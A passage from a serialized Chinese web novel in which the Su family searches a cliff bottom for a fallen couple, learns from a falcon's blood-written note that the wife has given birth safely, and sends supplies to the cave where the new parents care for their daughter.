她这一起,连带着夜里都睡不安稳的众人都起了身,被苏声和苏琯煜盯着,一个个食不知味地用完了早膳。 此时他们已经在这崖底又找了大半个时辰。 加上昨日,理论上宣槿妤和苏琯璋二人坠崖时会掉落的这一方崖底他们几乎都要搜遍了,却仍是不见他们的身影。 宣文晟情绪已经临近奔溃边缘,只剩下一丝理智在强撑着,如今也已经摇摇欲坠。 他跟着一行人走了大半年的流放之路,只是为了妹妹宣槿妤的安全,让她这一路过得稍微舒服一些。 但他平日里眼睁睁看着她因为妊娠反应各种难受,碍于男女大防也没办法做些什么。 妹夫苏琯璋做得很好,他就只需要负责和她说说笑笑,指挥商队到临近的城镇或集市采买他们所需的各种东西。 他自认不是一个十分周到体贴的兄长,但他期待可以当一名好舅舅,他会对妹妹的孩子比对自己的孩子还要好。 但是,宣槿妤掉下悬崖了,连带着那个还未出世的孩子一起。 宣文晟是眼睁睁看着她掉下去的,然后再亲眼见苏琯璋也一起跳了下去。 他却什么也做不了。 没有哪一刻,宣文晟会像现在这样觉得自己是个不折不扣的废物。 他不会武功,被侍卫牢牢护在身后。之前狼袭时他还能安慰宣槿妤,说有人保护就行了。 但他意识到,不是有人保护就够了的。若他足够强大,龙椅上那位就不会逼得外祖父交出金腰带,只为护住苏家人性命。 若他足够强大,龙椅上那位就不会毫无顾忌,自以为帝位已经稳固,天下随他折腾。忠臣良将,他想杀就杀,想流放就流放。世家之女、臣子之妻,他想夺就夺。 宣文晟捂着双眼哭得上气不接下气,只手臂牢牢被清风抓着,才没有栽倒在地。 苏老夫人捂着胸口,眼圈通红,只死死忍着不敢哭出声来。 她年纪这样大,一旦情绪奔溃,她若不是中风,或许就是暴毙。 她还要活着。 槿妤那孩子运气这样好,定会没事的;她看到了,璋小子跳下去的时候已经抱住她了,他也定然会没事的。 从这样高的悬崖上掉下去,她根本不敢去想宣槿妤腹中那个快要出生的孩子会如何。 苏老夫人死死抓着长媳许玉娘的手,看得出她的情绪也接近溃散边缘,便哑声开口,“玉娘,他们福大命大,会没事的。” 苏声红着眼圈走过来,搀扶住母亲,“娘,我们在这里找就好,您回去等消息。” 苏老夫人摇摇头,固执地一步一步往前搜寻,“我要在这里,要亲眼见到他们安好。我不会走的,我不走。” 说到最后,她近乎是喃喃自语。 苏二婶偏过头,无声地落下一串眼泪。 彤姐儿将头埋进娘亲许萱娘怀里,隐忍着不敢哭出声来,只泪水沾湿了许萱娘的衣裳。 雯姐儿呆呆的,还没从昨日的刺激中走出来,哪怕常湄言和苏琯文安慰了她一整夜。 小婶婶是为了救她才掉下去的。 虽然年纪还小,但经过这大半年的日日跋涉,她已经懂得了很多同龄人根本不懂的道理。 常湄言看着近乎痴呆的女儿,将她抱入怀中,紧紧抿着唇,眼泪一串串往下掉,却不敢发出半点声音。 所有人的情绪都绷得紧紧的,像是一根被拉伸到极致的琴弦,随时都可能崩断。 只有陈阳、王虎等人才勉保持了一点冷静。 苏家、宣家和林家的暗卫此前都现身一起对敌了,这时也没有再隐于暗处,而是一起帮着找人。 苏声、苏琯煜这两个人是情绪最稳定的,指挥着侍卫们和暗卫们,有条不紊地分区搜寻着崖底,还遣了人去周遭可能住着的人家去打探消息。 这样的流程,他们昨日已经做过一遍了,今日只是再重复一次而已。 若不看他们通红的眼圈,只听他们如此冷静的吩咐声,定然会以为他们对苏琯璋和宣槿妤的生死无动于衷。 苏琯文和苏琯武无声地流了一会儿泪,很快狠狠地用袖子擦了一把眼睛。 苏琯武对双生兄长说:“我相信他们会没事的。” 苏琯文看了一眼弟弟,重重地点了下头。 二人收拾好情绪,很快加入到搜寻的队伍中,分别带了一队人去了别的区域找人去了。 …… “主子,山南面都找完了,没有发现。” “主子,山北面都找完了,没有发现。” …… 所有活下来的暗卫和侍卫加起来足有两三百人,一起搜寻着落崖二人的踪迹。但一队队人回来汇报,却如昨日一样,没有一个好消息。 苏老夫人听得一颗心直往下坠,身子禁不住摇晃了下,脚步随着也是一个踉跄。 许玉娘仍然沉浸在悲痛中,有些反应不过来,幸好一旁的苏二婶慌忙中将婆母抱住了。 苏声见状,再次走了过来,强制压着母亲、妻子和弟妹到了孩子们那里。 担心她们多想,苏声看了一眼神情或是惶惶或是悲痛的孩子们,“你们就在这儿待着,孩子们受了很大的惊吓,就交给你们照顾安抚了。” 他也才留意到被常湄言抱住,一声不吭只是紧紧咬着唇的雯姐儿,在她面前蹲了下来。 这孩子,好像昨日也是这个状态。 “雯姐儿别怕,坏人已经被打跑了。”他放缓了声音,只声音还是沙哑的。 他还以为雯姐儿是因为昨日黑衣人劫持险些被杀的事吓到了。 一直是痴傻状的雯姐儿听到“坏人”二字,眼睫颤了颤,终于有了一点反应。 她抬头定定地看着苏声,在他通红的眼圈中停留了许久,终于认出了人。 回过神来的雯姐儿忽然放声大哭,“呜呜呜,小婶婶是为了救我才掉下去的,呜呜呜……” “小叔叔也跳下去了。” 苏玉雯才四岁,她哭得上气不接下气,满脑子都是前几日白隼给他们带回来的那只雪白的羊羔。 羊羔被白隼从空中扔下,一动不动,人们都说,它是死了。 然后那晚,她就吃到了羊肉,喝到了羊汤。 雯姐儿泪眼朦胧地往上望了一眼耸入云霄瞧不见顶端的尖峰,“呜哇哇哇”,她哭得更大声了。 呜呜呜,小婶婶和小叔叔比羊羔还惨。 而且还是因为她,他们才掉下去的,“是我,呜呜呜,是我……”哭得太伤心,她语言都开始有些混乱起来。 但结合她方才的几句话,不难猜测出此时的她是在自 责,以为是自己害死了宣槿妤和苏琯璋。 小小的孩子哭得让人心碎,还带着让人难以忽视的惶恐和愧疚。 这样不符合她年纪的情绪,让还沉浸在悲伤中的苏家人都惊到了。 许玉娘想开口,只嘴巴一张开就呛到了,干呕了几声,忍了许久的眼泪也流了下来。 她将雯姐儿连同还抱着她的常湄言一起抱住,“不是雯姐儿的错。” 她强忍着悲痛,虽然带着哭腔,一字一句却十分清晰,“雯姐儿,这不是你的错。” 她翻来覆去就只有这样一句安慰的话。 仿佛脑子被冻住,她什么也想不出来,慌慌张张地只知道不能给这样小的孩子带去一生的阴影。 “哇啊啊啊。”被启哥儿抱着的慕哥儿见小堂姐和伯祖母哭得伤心,自己也忍不住哭了起来。 他这一哭,仿佛开启了什么机关,女眷们和孩子们很快哭成一团。加上一个哭得眼睛都已经红肿的宣文晟,场面瞬间便变得十分混乱。 翅膀拍打声从他们头顶掠落的时候都不由得一顿,听着好似有些犹豫的样子,只这声音到底被大大小小的哭声掩盖了。 苏家人哭得可怜,宣文晟哭得凄惨。 一群才从生死线上闯下来的汉子们听着也忍不住红了眼。 白隼踌躇着,到底落在了附近的马车车厢顶上,这是它最熟悉的地方。 它才停下,哭声却越来越大,惊得它立马飞了起来,但爪子里还抓着的艳色白布让它重新停了下来。 它飞到情绪尚算稳定的苏声面前,拍了拍翅膀。 凶禽翅膀扇起的风带着一丝若隐若现的血腥气,苏声才从险些崩溃的情绪中回过神来。 这是…… 他一眼就认出这只玉爪。 白隼歪着头看他,极通人性地将爪子里的染血白布扔给他。 苏声忙接过来,还未展开已经认出了熟悉的字迹,是苏琯璋的。 他忙打开,入目就是“母女平安”四个大字。 苏声的大脑顿时一片空白。 不知是否意识到了面前这人已经靠不住,颇有灵性的白隼又飞到苏琯煜头顶,在他下意识想要反制可能的袭击时落到他肩上。 它叫了一声。 熟悉的叫声唤起了苏琯煜的记忆,偏头一看,“是你。” 只看到熟悉的白隼,昔日和它最亲密的两个人却生死未明,苏琯煜哽咽着问它,“你是来找小弟妹的?” 他喃喃自语,“我小弟和她一起掉到这崖底来了,我们在找他们。” 他说着眼神亮了起来,抓住白隼,“你是不是能带我们找到他们?” 第70章 第70章她还真挺想看这男人穿着…… 苏琯煜的声音有点大,将苏声的神智唤了回来。 苏声快步走到还哭作一团的女眷和孩子们那里,颤抖着嗓音,将那张布条递到母亲跟前,“没事,他们没事。” 苏老夫人哭得正凶,没有反应。 “母亲,槿妤生了,母女平安。您看,这是璋小子写的。” 听到“槿妤”“璋小子”,苏老夫人和许玉娘她们哭声都是一顿,泪眼迷蒙地抬起头来。一个个脸上表情还没收住,显得呆滞却又可怜。 苏声见状继续说道:“他们托白隼带了消息来,他们没事。”他语气很快,但声音里带着的欣喜感染了二人。 苏老夫人怀疑自己年纪大了,有了幻听,她呆愣愣地看着长子,脑子仍旧没有转过来。 而许玉娘满脑子都是“没事”“没事了”,根本想不起来要去看他手中的传书。 还是苏琯煜大步走过来,拿过父亲手中的布料,认出这是中衣一角,被撕下来的。 他快速看完正面的“母女平安”四个字,手有些微微发抖——武人的手最是沉稳,这是他此前从未有过的。 布料背面也有血迹渗出,他翻过去展开,很快将上面的信息看完。 他将那布条又放到母亲手里,转身去找妻子许萱娘,“他们没事,弟妹生了个女儿。” 他语气很慢,给许萱娘反应的时间,然后又继续说道:“他们在一处山洞里住下了,但是什么都缺。” “孩子的小包被、襁褓,给弟妹换洗的衣裳……这些都没有。” 许萱娘这时也反应过来,抚着心口,压住奔涌而出的狂喜。 等冷静下来,她很快从车厢里取出一早准备好的东西,挑挑拣拣重新收拾了起来,“消息是谁送来的?要怎么将东西给他们?” “能将他们接回来吗?槿妤才生产,要小心照看才是。” 山洞里什么都没有,苏琯璋可以将就着对付,可产妇和刚出生的婴儿都遭不住。 苏琯煜听着妻子的问话,便知道她方才没听到父亲说的话,便指了指此时窝在车厢顶部朝他们看来的白隼。 “小弟托白隼带来的消息。” 他环顾一圈,发现其余人也都止住了哭声,此时脸上的激动早已代替了悲痛。孩子们更是蹦蹦跳跳的,脸上还挂着泪,却已经笑了出来。 大家都知道消息了。 白隼歪了歪头,圆溜溜的眼睛睁着,小脑袋埋在翅膀上,蹭了蹭。可能是十分不明白这些人为什么方才还哭得那么伤心,现下却又笑容堆了满面。 苏声很快走过来,看了一眼许萱娘挑选出来的东西,“白隼能抓着一只羊在天上飞,这些东西也定然能够送到他们手上。” “你准备一下,带人跟着白隼去找他们,看能不能将他们接回来。” 许玉娘抹了把脸上的泪,也不住地点头,“带上璋小子入冬的棉袍去,槿妤才生完,不能受风。” 一家子风风火火的,很快将事情敲定下来。 苏琯煜和听闻消息赶回来的苏琯文带着人,跟在白隼后头,飞快地穿过层林峭壁,最后在一处毫无缝隙的山壁面前停下。 “白隼就是飞到下边去了?”苏琯煜问三堂弟。 不是他怀疑自己的目光,实在是这里和宣槿妤苏琯璋他们坠崖的地方相距甚远,且前方也没有路了。 苏琯文点头,他也看到了,白隼就是从这里减了速度,飞了进去。 “我还听到它飞进去后振翅的声音了,应当还是继续往上飞了。”苏琯文说。 二人只庆幸东西都给白隼抓在爪子里带过去了。 他们竟没料到过不去,最终还是没能找到人。 二人回去时,清风也才带回从附近很远的山脚下村民口中探知的消息。 “那些百姓都说,从悬崖上掉下去的人没有活着的。至少他们没有再见到人出来。”清风对宣文晟说。 他还不知道宣槿妤和苏琯璋二人还活着的消息,只小心翼翼地打量着宣文晟的面色,生怕他又再次哭起来。 三公子这眼睛已经肿成这样,再哭下去,双眼就怕保不住了。 他一个大男人,竟如此能哭。 清风也是开了眼,但他也伤心着小姐和姑爷的事,这念头也只是在脑中一闪而过。 他如此谨慎,生怕主子再情绪失控。 却不想宣文晟只是“哦”了一声,脸上竟还带着藏不住的笑,“他们还活着。槿妤生了个女儿,我当舅舅了。” 清风一愣,只以为主子疯了,开始出现臆想。 宣文晟见他的眼神,就知道他在想些什么,也没恼,和他解释说:“白隼带回的消息,苏大哥和三哥已经带人去找他们了。” “咦?他们回来了。”宣文晟看向清风身后。 苏家其余人也很快围拢过来,纷纷问道:“怎么样?找到他们没有?怎么没带他们回来?” 苏琯煜将山壁拦路的消息说了。 清风这时也补充,将他方才还没讲完的消息说了,“对了,那些百姓说,这群山里头有一座被围起来的山峰。他们祖辈曾带人找过几次,都没能找到进去的路。” 他看着脸色变得有些不好的众人,“我现场给他们画了图,都说小姐和姑爷掉下去的,就是这座被困起来的山峰。” 宣槿妤醒来时,鼻 尖萦绕着一股浓郁的鸡汤香气,还混合着淡淡的竹子清香。 她睡意还未全消,只习惯性去看坐在她身侧的苏琯璋。 苏琯璋正哄着饿了在嘤嘤哭泣着的女儿,声音压得极低,“爹爹喂你喝了水对不对?等娘亲醒来再喝奶好不好?” 他竟在和一个刚出生未满一个时辰的孩子“讲道理”。 宣槿妤看着这对父女,心里是满满涨涨的欢喜。 睡意也全然消散了。 “把孩子给我。”她将手伸出薄袄来。 苏琯璋将孩子放到她身侧,调整好了方便孩子喝奶的姿势。 宣槿妤忽然意识到一个问题,不好意思地去看他,“你怎么还站在这儿?” 真奇怪,她怀着女儿的时候被他伺候着沐浴更衣也十分自然;才生了孩子,却不敢让他看她喂奶了。 宣槿妤因失血而变得苍白的娇靥上泛起淡淡的红晕,为她添了几分血色。 苏琯璋淡笑了声,转身走到他方才放在石壁凸起处的竹筒跟前,将浸在里边的纯白碎布拿了出来,拧干后递给宣槿妤。 “还是热的,你喂女儿之前擦一擦。” 她才生完孩子,不知道有没有奶水,用热巾子擦会好一些。 这都是老产婆教他的。 他没说要擦哪里,但宣槿妤却在瞬间听懂了,面上登时便烧了起来,耳朵通红。 见她接过碎布,苏琯璋便十分自觉地背过身去,“我不看你,只要帮忙了就和我说。” 真是的,他站在这里也能听见的呀! 只转念一想,依这男人的耳力,便是他走到外面的小山洞中也是能听到这里的动静的,便忍着羞意将中衣解开了。 孩子哭也是乖乖的,没有嚎啕大哭,只是嘤嘤嘤地低声哭泣,瞧着怪让人心疼的。 宣槿妤作为母亲的怎么受得了,忙将还泛着热意的碎布放在身上,照着苏琯璋说的方法擦拭了一番。 孩子终于能接触到她的口粮,本能地大口吮吸起来。 “嘶。”宣槿妤忍不住轻呼了声,真的好疼。 苏琯璋忙转过身,蹲在她面前,紧张地问:“怎么了?” 此时也顾不得这男人在看着了,宣槿妤委屈极了,含泪看着他,“女儿饿了多久了?” 才出生的小人儿,劲儿竟那般大。 苏琯璋便明白过来,瞧见她那处都有些泛红,眼里闪过心疼。 “她小半个时辰前哭过一次,我喂她喝了点温水。” 那时宣槿妤睡得正熟,他怎么忍心将她叫醒。 苏琯璋小心翼翼地摸了摸女儿的头,听着她大口大口吞咽的声音,心想,槿妤肯定疼狠了。 只是,便是再疼,谁也没有提出不喂了的想法。 “你醒来前,她哭了第二回,想来是真的饿狠了。”苏琯璋抱歉地说。 宣槿妤看着他面上的歉意,忽然想笑,于是她也真的笑了,“苏琯璋,又不是你的错,你在抱歉什么?” “你是能够让孩子不饿,还是忍心在那时候叫醒我?”她都听到了他哄孩子的话了。 “在你眼里,我是那等蛮不讲理的人吗?” 苏琯璋忙摇头。 宣槿妤定定地看着他。 苏琯璋眼里很快漫上笑意,“嗯,槿妤是在心疼我。” 宣槿妤赧然地将视线转开,却没反驳他的话。 于是苏琯璋眼中的笑意很快蔓延到他那张清俊无双的脸上,在唇边翘起一个张扬的弧度。 他极少有这样开心到抑制不住脸上的笑的时候,而第一次是如愿娶到她。 苏琯璋起身,俯首在她脸上亲了亲。 宣槿妤摸了摸被他亲过的地方,浅浅地笑开。 待到孩子吃饱,苏琯璋将她接过来,小心地将她的小脑袋靠在自己肩上,轻轻地给她拍起了嗝来。 宣槿妤将中衣整理好,抬眼朝父女二人看去,最先看到的却是苏琯璋破破烂烂的中衣下摆。 好似比她睡前时看到的还要再破些。 中衣下摆应当被苏琯璋撕了三次,第一次撕下来的碎布被用作抹布擦了石床;第二次的碎布略大一些,被用于传信了。 而她没有见到的第三回…… 宣槿妤眼角余光瞥见一抹纯白,那是方才她用完随手放在身旁的碎布——这第三次,是被她用来擦那处了。 她面上泛了红,眼中却有笑意散开。 “苏琯璋,你冷不冷?” 冷的话,她还有件披风,虽然对于他来说过于小了,但他们如今这处境,可以凑活嘛! 她还真挺想看这男人穿着她披风的样子的。 未免被他看出自己看笑话的小心思,宣槿妤揉了揉脸颊,将上面掩藏不住的促狭表情揉散。 70-80 第71章 第71章那夫人可愿意给小的一个…… 女儿小声地打了个奶嗝,苏琯璋将她放回宣槿妤身边时,便听见了妻子关切的问话。 他随着她的视线低下头,看到自己褴褛的中衣。 “不冷。”他将孩子调整了个姿势,便看着她小嘴儿动了动,不知是否是在回味她的口粮,而后很快就睡着了。 好了,没有笑话看了。 宣槿妤小心地摸了摸女儿稀疏毛茸的胎发,柔软如棉絮的手感惹得她爱不释手。 “她睡得好快。” 她目光一直在孩子小脸上流连,皱巴巴、红通通的,分明不好看甚至可能还有点丑;但她却有种,世上谁也比不得她女儿好看的感觉来。 苏琯璋蹲在石床边,闻言轻笑了一声,“像个小猪崽。”他说。 宣槿妤瞪了他一眼,怎么可以这么说自己的女儿?! 但这男人的话到底还是影响了她,她越看也越觉着孩子熟睡的模样像只小猪崽。 咳咳,这样不好。她女儿日后可是要成为京中明珠的贵女,怎么可以是个小猪崽? 宣槿妤偏过头,不敢再去看孩子。 “都怪你。”她抓过苏琯璋搭在她手上诊脉的手,咬了一口。 她脉象平稳——除了气血虚弱,这是很正常的产后之脉,苏琯璋心下稍松。 见她咬他,他只闷笑,“看来槿妤也觉得像。” 回答他的,是再一记轻咬。 出完气,宣槿妤摸了摸被她咬出来的两个牙印,触手只觉得这男人体息温热,“你还真的不冷。” 她将他的手放开,再偏头去瞥他几乎没了半幅的衣摆,眉眼间又漫上笑意,“哪里来的乞儿,竟还挺干净体面。” 她扫过来的一眼,眉目灵动,带着天真烂漫,和苏琯璋当初第一次见她时的眼神一模一样。 他就是因她这眼神对她一见钟情、非卿不娶的。 胸中激荡着初见的悸动,和夫妻间两情相悦的温情,还有初为人父的喜悦,苏琯璋一时说不出话来。 只看着她的眼神,让宣槿妤脸红心跳,却又舍不得移开目光。 “那夫人可愿意给小的一个赏赐?”苏琯璋开口,声音不复往日的清润,而是低沉中带了一丝哑意。 宣槿妤不想他会这样回应,一时失言。 等回过神来时,便听得这男人继续说道:“既然夫人不说话,便是默认了。不劳烦夫人,小的自己来取这赏赐。” 她瞪大眼睛,双唇也微微张开,显然惊愕极了。 他在说什么? 捉弄人不成还反被调戏,宣槿妤被他大胆而又促狭的话捉弄得臊红了脸,才要说话,脸上便落下一片阴影。 是苏琯璋在俯身,薄唇也随之落下,微张的唇瓣给了他可乘之机。 顾忌着她的身子,苏琯璋很快就退开,“会不舒服吗?” 他一手撑在她脸侧,一手抚摸着她微微泛红的脸颊。 因为石床有点低,他身量又高,腰腹弓起一个惊人的弧度。露出的精壮白皙的薄薄肌理让宣槿妤想起些不合时宜的东西,脸上越发作烧。 “怎么脸这么红?”苏琯璋有些紧张,“可是身子不适?” 他的语气里多了几分懊恼,她才生完孩子,他不该这样放任自己的。 宣槿妤抓住他往下欲要为她诊脉的手,磕磕巴巴道: “没有,你别紧张。” 迎着他依旧不放心的眼神,她不自然地移开视线,“我,我就是有点热。” 这崖底不冷,甚至暖如春季,而这大山洞中隔着一层薄薄的石壁,还有一口温泉。 而她身下垫了两层外裳,身上还盖了一层薄袄,加之石床上持续温和地涌来的温泉地热,她身子确实有些热了。 没看苏琯璋才穿了一件中衣,身子就已经很暖和了么? 听她说热,苏琯璋才松了口气,摸了摸她的头,见额头没有汗,再去探她脖子和后背,也是干爽的。 “你现在受不得凉,我们也没有旁的衣物了。”他说着对她露出一个抱歉的笑,“如果受不住,就将披风和薄袄换过来如何?” 宣槿妤想了想,同意了。 苏琯璋便从石床另一侧取来宣槿妤的披风,展开,迅速给她换好了盖着的衣裳。 只换衣裳的间隙,他已经瞧见了宣槿妤身下的濡湿。是底下的外袍被血浸湿了一片——他方才掀开薄袄去看的时候还没有。 宣槿妤此时也察觉到身下的异样,身子那处亦有些黏腻。 一直萦绕在鼻尖的鸡汤香气中也染了一丝血腥气。 对于恶露排出的事,苏琯璋显然早有准备,很快走出了大山洞。 他再返身时,手中拿了两个高高的三联竹筒,被他清洗过的白布浸在其中一筒水里。 宣槿妤能看到竹筒上方飘着的白雾,这表明水是热的。 他在她睡着的这段时间里,竟做了这么多事!身下还痛着,看着他动作不停地忙活着,她心里却柔软非常。 苏琯璋很快替宣槿妤清理好身下的血污,换上了被他清洗干净烘干的中裤。 底下他的外袍上的血迹已经干透了,因为还会继续弄脏,便也没急着清洗,怕挪动宣槿妤时让她受凉。 “若娘和嫂子们看到白隼带去的传信,定会知道我们的处境。”他俯身在宣槿妤额头上亲了亲,抱歉道:“只委屈你先将就一下。” 老产婆和他说过,排恶露时未免一直弄脏中裤,有些富贵人家是会用柔软的棉质月事带绑在身下,只要勤换月事带即可。 早在三月前,他们经过以织造闻名的岸南镇,他就托宣文晟的商队采买回来不少质地柔软舒适的棉布和大量棉花,也托母亲二婶和三位嫂嫂做好了一箱子月事带。 却不想,他们竟会落到这崖底来,身边什么也没有。她何时受过这样的委屈,吃过这样的苦头? 想着,苏琯璋脸色有些黯然。 宣槿妤揽住他的脖子,在他脸上也吻了吻,“不是你的错。” 他已经很努力地给她们母女二人创造一个舒适的环境了,条件所限,她怎么会忍心看他自责。 被她亲过,苏琯璋眼里恢复了温和,亦含了些许笑意。知道她也在心疼自己,便转移话题。 “饿不饿?我煮了鸡汤,要端过来吗?” 宣槿妤也一直闻到萦绕在山洞里的那股浓郁的鸡汤香气,只她确实还没什么胃口,身子太累了,便摇摇头。 苏琯璋知她现在身子疲乏,但也没有劝她现在吃东西,只又说起她定会十分感兴趣的话题来。 “女儿的胞衣我安置在了山洞门口的桃树下,愿她和桃树一起健康成长。” 果真,宣槿妤眼睛又亮了起来,“你有没有用什么东西包住?” 按大盛习俗,胞衣是要用瓮装好再填入土中的。只他们哪里来的瓮?只好就着手头能找到的东西,总归能包好就可以。 他们的处境,也容不得他们挑剔。 苏琯璋将女儿换了个姿势侧睡着,闻言回道:“用你的比甲包的。” 他身上的衣裳,披风和外袍都被垫在宣槿妤身下了,薄袄如今裹在女儿身上,他也就一件破烂的中衣可以裹身。 总不能用他的下裳来包裹,他虽是她的父亲,但到底也不合适,且也太委屈他们的女儿了。 亦不能用竹叶,也过于简陋了些。 宣槿妤显然也想通了这些,将手伸出薄袄,环住女儿小小的身子。 “她真的好小。”她目光很是温柔,忽然想起什么,抬眼去看苏琯璋,“女儿出生时多重?” 她知道苏琯璋因为常年用兵器的缘故,对于重量十分敏感。 她曾兴致上来了,拉着他玩闹,摆了满院子的物品,让他估算出各自的重量。最后用秤去称,结果他竟估算得八九不离十,可让当时的她惊奇了许久。 苏琯璋果真是知道的,“六斤六两,我们的女儿是个会体贴娘亲的。” 宣槿妤听娘亲、婆母和嫂嫂们都说过正常孩子出生时的体重是多少,他们的女儿不算轻也不算重,算是相对于比较容易生产的体重,生下来也较为健康好带的。 再听苏琯璋如此说,她含笑轻轻地点了点孩子皱巴巴的小脸儿。 “我想喝鸡汤了。”宣槿妤说。 得知夫妻二人无事,妹妹更是平安诞下他的外甥女,宣文晟喜不自胜。 便是苏琯煜和苏琯文带回二人被困的消息,也没能影响到他的好心情。 不就是暂时被困嘛!他妹妹运气那般厉害,定会走出来的。 说不定被困也只是因为上苍见妹妹才生完孩子,不忍心看他们折腾她,才特意安排的。 宣文晟双眼还红肿得厉害,此时又笑起来,便是再俊的一张脸,此时也丑得没眼看——若林清婉或方沅沅在时,边便会如此吐槽她们的儿子或夫君。 “遭了,妹妹坐月子要喝的汤汤水水,吃的饭菜要怎么办?” “等我们做好,白隼送过去会不会已经洒了或是冷了?” “她夜里若是想吃东西怎么办?” 宣文晟絮絮叨叨的,显然是开心过了,又开始担心起来。 许玉娘擦了擦眼角,安慰亲家舅兄,“璋小子会煮汤做菜,不会让槿妤太遭罪的。” 膳食方面她倒是不担心,只是崖底那样的简陋之地,到底是委屈小儿媳了。 常湄言此时也放下心来。 宣槿妤和苏琯璋作为她的小弟妹和小叔子,出了事她当然会很伤心。 只她比旁人还多了一份歉疚。 宣槿妤是为了救她的女儿雯姐儿才出的事。而宣槿妤坠崖,连带着苏琯璋也跳了下去。 三命换一命。 她实在担心女儿以后的处境,尤其昨夜雯姐儿状似呆傻的状态,更是让她心酸又心疼。 得知二人平安的消息,常湄言安下心之后,便想得比较多,也想得深了些。 第72章 第72章呆子 倘若真的三命换了一命…… 他们苏家人平日里再亲近,到底隔了一房,三条性命,不可能不会在意的——虽然今日伯母表现出来的,没有一丝计较的意味,甚至还很心疼被吓坏了的雯姐儿,自己伤心欲绝,却还记挂着先安慰她。 但常湄言不敢赌一个日久天长,人心最是经不住时间考验的。 苏琯璋是家中幼子、幼孙,性子再惹人嫌,也是最 受宠的那一个,连带着她们这些嫁入苏家的嫂嫂们也天然地宠爱这个小弟。 宣槿妤就更不必说了,祖母伯母最疼的就是她了。这样鲜活可爱的姑娘,她们三个嫂嫂,又有哪一个会不喜欢她呢? 还有一条被所有人期待着的小小生命,它甚至还没能和他们见面,就随着宣槿妤一起落入崖底。 退一万步来说,即便伯父伯母、祖母和大哥不计较,那宣家和林家呢?他们也不会计较吗? 还有女儿,亲眼目睹小婶婶和小叔叔一个坠崖一个跳崖,她日后可要怎么活下去? 之前的悲伤和迫切找人的期望都沉甸甸地压在心头,常湄言无暇思考这些,眼下才有些后怕,幸好没事。 老天保佑! 此时听到伯母许玉娘和宣文晟的对话,她便收起了那些情绪,很快笑着附和道:“小弟聪颖,在厨艺一道上也甚有天赋。” “我们刚上路那会儿,他不仅煮过鸡汤,还做过菜呢!” 许萱娘整理好要带给宣槿妤他们的米面等物,让苏琯煜提着,也走了过来。 闻言她不禁颔首,“确实,而且小弟以前没做过菜,那会儿还是三弟妹口述,小弟掌勺,做了一桌菜。” “味道还很不错。”她说,语气里带着紧绷后的放松。 “若非宣三哥带了厨娘来,抢了小弟的活计;说不准啊,这一路的膳食都得是小弟亲手做的呢!”许萱娘有些促狭地道。 一群人都笑了起来。 知道许萱娘这话很显然就是在开玩笑了。 便是有了两个厨娘,他们偶尔也会打打下手。又怎么可能会让苏琯璋一个人掌管他们一家子的伙食呢? 他还要陪着有孕的槿妤的。 想到宣槿妤,许萱娘指了指苏琯煜手中的包袱,“米面等吃食我都整理好了,只是白隼何时再来?他们总不能一直不吃米面的。” 她看向宣文晟,“小弟想必会做的饭菜也就只有路上三弟妹教过的那几道。若他平日里有留心厨娘是如何做饭的,想必也学会了。” 她不好意思地笑,语气也不怎么肯定,因为她是没有留意过苏琯璋是否有那等心思去跟厨娘学做菜。 “只宣三哥若有合适的膳食方子,也可以一起给白隼带过去给他。”许萱娘提议。 “不过小弟懂医理药草,我想,我们也不用过于担忧。” 许萱娘这话确是十分不错,众人心里的担忧也去了大半。 剩下的,便只有什么时候能将米面等物送到他们手中的担忧了。 “还有纸笔,我也备了一些,方才已经送过去了。”许萱娘想起那白布上的血字,也有点心疼这小表弟兼夫弟了。 虽然用自己的血来写字,其实也没受多大的伤,何况他们武人根本不在意这点小伤。 但是总不能每次都让他撕下身上的衣裳,还放血写字吧? 他们是送了衣裳过去不错,但也经不住这么用的- 宣槿妤喝完鸡汤,还被苏琯璋喂了几块鸡肉,便将竹筒推开,不吃了。 “你都吃完,我看着你吃。”她说,摸了摸他的脸。 从昨夜到现在,给她接生、安置孩子的胞衣、抓野鸡熬汤、煮热水、哄孩子……他应该就没停下来歇息过。 眼下下巴处都有淡青的胡茬出现了。 虽然给他添了几分风流之意,但她到底心疼他。 苏琯璋从他才做好的竹椅上拿过竹筒,很快将剩下的鸡汤喝光,鸡肉也吃完了。 “午膳时我给你煮鱼汤。”苏琯璋说,“昨夜才喝过,会腻吗?”他问宣槿妤。 宣槿妤看着他笑,笑他傻。 她才生完,能喝的不是鸡汤就是鱼汤,在这崖底,他还能让她吃别的什么东西吗? “那你抓别的鱼,不要昨晚那种鱼便是。”她这么回答,到底没舍得笑话他,怕他又自责内疚。 苏琯璋应了。 白隼就是这时候回来的,听起来翅膀拍打声都有些沉重了。 苏琯璋没动,只揽住了靠在他身上的宣槿妤。 白隼掠进大山洞,二人一时都没能找到它的身影,视野都被厚厚的大包裹挡住了。 宣槿妤惊讶极了。 他们怎么包的,竟送了这么多的东西来? 看白隼的模样,想来也有些吃力。 苏琯璋忙转身将宣槿妤小心地放回床上,盖好披风,才伸手接过瞧着就沉甸甸的包裹,摸了摸白隼的头,“辛苦你了,多谢。” 白隼对他发出一声清鸣,翅膀落在他手上,拍了拍。 以前白隼跟着他们的时候,想吃肉了就是这么和他“撒娇”的——对他,它可比对宣槿妤可要含蓄许多。 要知道,它对着宣槿妤,是动辄求摸头、顺毛的。 苏琯璋见它如此,了然,眼里便含了笑,“想吃肉了?我给你准备了些生肉。”他指引白隼到小山洞去吃东西去了。 折身时,手里还拎着那沉重的大包裹,惹得宣槿妤笑话他傻。这回是真的笑出声来了,出言嫌弃道:“你怎么也不先将东西放下来再出去?呆子。” 好了,除了木头,他又多了一个绰号。 苏琯璋但笑不语,只将被捆得严严实实的大包裹外头的绳子解开,再将粗布取下。 他们什么都缺,这粗布日后也是有用的,当抹布也好,他便先放在地面上。 粗布里面很干净,最先映入他们眼帘的便是一床厚厚的大棉被,苏琯璋将大棉被连同里头裹着的东西一起抱到干净的石床上。 再打开大棉被一看,里头居然还有一床薄一点的棉被。 反正足以让他们渡过这个冬天了,便是下雪也不怕。 宣槿妤看着两床棉被失笑,原来棉被还能用来打包东西的? 苏琯璋展开被夹在棉被里侧的宣纸,“大嫂说,她不知道我们这处崖底冷不冷,便两样棉被都送了来。” 许萱娘考虑得十分周到了,毕竟他们昨日寻人时,在的那处崖底夜间气温骤降,可冷得慌。 苏琯璋快速看完里面的内容,将宣纸放在裹着女儿的薄袄上,方便宣槿妤看。 他自己则整理着白隼带来的那些东西。 孩子的小衣裳、小包被、尿布……槿妤的贴身小衣、中衣、秋冬两季的衣裳、鞋袜……他自己的两季衣裳、鞋袜等,甚至还有他那件十分厚实的大棉袍。 